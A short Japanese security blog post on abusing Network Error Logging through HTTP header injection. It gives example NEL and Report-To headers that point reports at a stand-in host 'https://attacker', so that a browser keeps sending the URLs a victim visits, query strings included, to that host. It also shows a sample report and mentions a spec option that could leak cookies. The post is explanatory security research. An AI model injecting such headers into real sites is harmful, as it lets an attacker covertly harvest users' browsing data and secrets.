Network Error Logging

HTTPヘッダインジェクションにおいて何ができるか?というのを数年ぶりに整理している。

整理作業の中で見つけたものの1つは、ネットワークエラーを検出して報告するNEL(Network Error Logging)という仕組み。

以下はNELの応答ヘッダの例。

NEL: {"report_to":"test", "max_age":1000, "success_fraction":1}
Report-To: {"group":"test", "max_age":1000, "endpoints":[{"url":"https://attacker"}]}

上のようにReport-Toヘッダと組合せて使う。

このようなヘッダが与えられると、その時点からmax_ageの時間内に、そのサイトにアクセスしたURLや発生したネットワークエラー等が、Report-ToendpointsのURLに報告されるようになる。通常報告されるのはエラーのみだが、success_fractionを1にすると正常なアクセスも報告に含まれるようになる(ASnoKaze blogにもう少し詳細が書いてある)。

以下がendpointに送られる報告の例。

{
    "age": 35440,
    "body": {
        "elapsed_time": 52,
        "method": "GET",
        "phase": "application",
        "protocol": "h2",
        "referrer": "https://(ホスト名)/test/normal.php",
        "sampling_fraction": 1,
        "server_ip": "(IPアドレス)",
        "status_code": 200,
        "type": "ok"
    },
    "type": "network-error",
    "url": "https://(ホスト名)/test/nrml/1.php?a=123",
    "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36"
}

攻撃の観点で言うと、NELヘッダを突っ込まれると、その後にそのサイトでアクセスしたURL(クエリストリングを含む)を継続的に取られてしまうことになる。報告には要求/応答の中身は含まれないが、仕様上は要求/応答ヘッダも報告に含めるオプションがあり、それを使えばCookie等も報告に含められるかもしれない。しかし、このオプションはセキュリティ上の理由により現状のChromeには実装されていない模様(Chromium bug)。

ちなみにNELヘッダはステータス30Xでも解釈される。HTTPSが必要であり、また現状はChromeのみで利用できる、という制約がある。他のブラウザの意向は、Chrome Platform StatusのConsensusではFirefoxが「Positive」になっているが、Mozillaのチケットではネガティブ寄りの様子見といった感じになっている。